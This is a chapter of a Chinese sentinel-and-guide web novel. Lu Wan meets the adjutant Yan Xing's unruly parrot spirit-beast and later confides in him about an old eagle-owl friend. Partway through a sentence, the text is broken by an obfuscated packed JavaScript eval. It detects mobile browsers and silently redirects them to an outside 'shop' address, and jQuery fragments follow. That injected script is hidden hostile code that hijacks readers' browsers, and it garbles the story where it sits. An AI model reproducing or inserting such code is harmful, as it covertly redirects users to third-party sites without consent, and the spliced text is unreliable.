当天晚上,陆宛还是和牧星澜一起用的餐。
这位联盟元帅的习惯和爱好让陆宛觉得无法理解,比如他总喜欢让别人吃他亲自做的饭菜,并由此产生满足感,比如他似乎总喜欢盯着别人的脸出神。
当天晚上,陆宛原本以为自己能够早早入睡,因为在那台机器中经受的那些痛楚,的确让他精神相当疲惫。
但他发现自己似乎越是疲惫,越没有办法好好睡着。
于是在尝试了许久无果之后,他干脆暂时放弃入睡,从床上坐了起来。
他对着空气发了会儿呆,视线虚无地穿过空气看向对面挂着画的白墙,脑海里开始不可控制地重新出现那只雕鸮的身影。
虽然在白天的训练当中,他已经因为那机器刺激,无数次回忆起那段回忆,但他心里非常清楚,其实在今天之前,他已经很久没有再想起过那段回忆了。
他始终将那段过往当作一颗珍贵的种子,小心翼翼地藏在心底的某处,但现在它突然就破土生长了出来,于是和当初有关的那些事情,又似乎把他带回了过去。
陆宛脑袋里不断反复着那些事情,就在这时,他听见自己的窗外传来了一道什么东西掠过的声音。
陆宛神色微微错愕,自己也不知道为什么,突然就翻身下床,几步赶到了窗边。
他拉开窗户往外看去,而他的视线在泛着柔和月光的夜晚中搜寻片刻,很快就发现了,刚才飞过他窗口的,是一只看着模样有些滑稽的白色大鹦鹉精神体。
鹦鹉也迅速注意到了他的动静,所以很快它就扇动翅膀,掉头落在了他的窗边。
那只鹦鹉看着有成人手臂那么长,浑身覆盖着雪白的羽毛,只在脑袋上长着一撮粉色的羽冠,它歪着脑袋,眨动着蓝眼眶里黑溜溜的大眼睛,在盯了陆宛一会儿之后,突然声音尖锐地叫了起来:“金色!大爷喜欢!”
陆宛没明白它在说什么,往四周看了两眼,在看见窗户玻璃投影的自己之后,才意识到它说的大概是自己金色的眼睛。
他表情有些奇怪地看着鹦鹉,问道:“你是谁家的精神体?”
大鹦鹉翅膀扇了两下,挺起胸要再说话,但这时候,陆宛却听见下面传来了小心翼翼又有些无奈的声音:“大爷,给我回来你这家伙!”
陆宛低头看去,才发现站在楼下满脸无奈的,是那位牧星澜的副官炎行。
他很快反应过来:“这是你的精神体?”
炎行连忙点头,看着想让精神体飞回来,但对方显然并不打算听炎行的话,只是扑闪着翅膀探头往陆宛的房间里张望,似乎想逃脱炎行的视线范围。
陆宛觉得好笑又奇怪,但想了想,还是伸手让那只大鹦鹉站在了自己手腕上,接着他打开门下楼,把大白鹦鹉送回到了炎行面前。
炎行看着无奈极了,见到鹦鹉后一把抓住它脖颈,对着它板着脸训斥起来,而那只鹦鹉显然也不简单,当场就满口脏话朝他骂了起来。
这对精神体和主人显然都不太正经,陆宛在旁边站着,开始思考自己是不是该回房休息了。
不过他正打算要走,那边的炎行已经短暂结束了和精神体的交流,他有些无奈地挠了挠头,对陆宛道了个歉:“不好意思,它刚才打扰到你睡觉了吧,我看你房间本来灯都已经关了,我也没想到大爷会飞上去,它平时也不这样乱逛的,可能是最近住在陌生环境里,有点紧张才会这样。”
陆宛忍不住问出了从刚才就很在意的一个问题:“它的名字叫大爷?”
炎行点头:“对啊。”
陆宛盯着鹦鹉,鹦鹉盯着陆宛,头顶的那搓毛一下立了起来,看着的确很不好惹。
陆宛禁不住笑了起来:“它的名字确实很适合它。”
炎行有点无奈地摊了摊手:“我也没办法,谁让我摊上了这么个精神体,别人的精神体都是那种又帅又强的,我这家伙每天就知道拆家和给我添堵……”
他原本还要继续诉苦,但话说到一半似乎想起什么,连忙闭了嘴,表情也懊悔起来。
陆宛知道炎行在担心什么,他没让自己表情出现异样,平静地说道:“不用因为我失去了精神体,就故意避讳这个话题,我没关系。”
他接着看了看面前的房间,又问:“你住在这里?那位景昀副官没和你住在一起吗?”
炎行点点头,又摇头:“我最近这段时间都会住在这里,毕竟现在是特殊时期,元帅也在休假中,不过景昀不住在这儿,我跟他的指责不一样,我只负责照顾你这边的事情,景昀需要处理一些公务,还是跟在元帅身边比较多,所以他单独住在另外一边。”
陆宛听到这里又问:“牧元帅在休假?”
难怪牧星澜身为元帅,最近却根本没有离开过这座庄园,原来是因为他在休假当中。
炎行再次点头,摆摆手又说道:“嗯,从找到你的行踪起就直接休假了,也没有说什么时候回去,不过反正现在联盟没什么大事,元帅就算在休假中也在处理一些事情,没什么好担心的。”
陆宛没再问牧星澜的事情,他低头看着炎行手臂上站着的鹦鹉,突然想起了自己的精神体:“它是不是饿了,所以才会到处乱跑?”
炎行愣了一下:“啊?”
几分钟后,陆宛从厨房找来了一些水果递给鹦鹉大爷,大爷用爪子抓起一颗苹果,就这样眯着眼满足地吃了起来。
炎行没想到会是这么回事,有些惊讶地说道:“连我这个主人都不知道,你是怎么知道它的心思的?不对,它明明才吃饱了东西,怎么又想吃了?”
陆宛抚摸了一把鹦鹉后背的羽毛,听着它嘎嘎叫了两声,才说道:“它偷偷把之前的食物送给别的精神体了,所以其实根本没吃饱。”
炎行顿时反应了过来,顿时瞪大眼睛看向大爷:“你又拿食物去给景昀家的鸟示好了对吧!”
大爷根本不怕他的怒吼,甚至嚣张地张开翅膀骂了回去。
陆宛:“……”
好不容易现场才重新控制下来,炎行训过了大爷之后,才想起来有些意外地对陆宛说道:“我以前听说,陆宛可以和所有人的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199282|197164||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
精神体沟通,我还以为是骗人的,没想到你真的能做到。”
精神体是每个哨兵和向导最重要的战斗伙伴,通常只有主人能够读懂它们的意思,但陆宛却竟然能和其他精神体亲近,甚至能和它们交流,这的确让人意外。
更重要的是,这还是在陆宛没有精神力的情况下。
陆宛却没觉得自己的能力有多特别:“这并不难,我以前就经常跟……”
他话说到这里,却毫无预兆地停顿了下来。
炎行意识到不对,连忙问道:“我是不是说错话了?”
陆宛摇了摇头,他看向炎行的房间,想了想问道:“有没有空陪我去外面走走?”
炎行连忙答应:“当然可以,元帅让我到这里来,就是来满足你所有要求的!”
陆宛其实也没有什么要求,他只是和炎行一起到了花园里面,坐在月色下面的台阶上聊起了天。
这大概是从得救以后,这么长时间以来,陆宛初次对人袒露心迹,他抬头看着高悬的月亮,眯着眼睛感受着这难得的静谧,感觉到白天以来的所有疲惫,似乎都慢慢地开始消散了。
他低声说道:“其实突然说这些话可能有些奇怪,但我已经没有朋友了,我现在在这个世界上找不到任何熟悉的痕迹,所以这些话我也找不到别人去说……”
听见他的开场白,炎行立刻就表现了起来:“我可以当这个听众!任何时候都可以!”
陆宛不禁笑了起来:“你们元帅给你的任务,也包括探听我说了什么吧?”
他的样貌原本就十分漂亮,清晰的轮廓在月光下更加鲜明,夜风里银色的发丝如纱幔般轻晃,金色的眼眸弯出月牙般的弧线,给这笑容浸入了微甜的酒意。
炎行咬住舌尖没让自己失神又失职,随即轻轻干笑了两声。
陆宛摇头说道:“没关系,你告诉那位元帅也没事,反正不是什么重要的回忆,他大概也不会感兴趣。”
他毫不在意,接着刚才的话说道:“今天的这场训练,的确很痛苦,但其实也不是那么难熬,因为在经受声波刺激的时候,我在幻觉里见到了一个很久以前的朋友。”
这是炎行完全没有料到的事情,他好奇地问道:“朋友?”
他一边问着,一边开始回想起自己看过的陆宛人际关系网,想知道这是哪位朋友。
不过陆宛接下来的话却让他再次露出了意外的表情:“那位朋友不是哨兵也不是向导,是一只精神体。”
炎行喃喃道:“精神体?”
他实在想不到,陆宛会说出这么句话。
陆宛接着说道:“你刚才不是说我能够读懂精神体的意思吗,其实我不是真的能听懂它们说话,精神体只有和自己的主人才能完成精神交流,所以我能懂的,只有它们各种行为所代表的意思,这也是因为我曾经和别人的精神体们有过很多接触,而我最开始接触的那位精神体朋友,是一只雕鸮。”
炎行低声问道:“雕鸮?”
陆宛笑了笑:“嗯,是一只迷路的雕鸮。”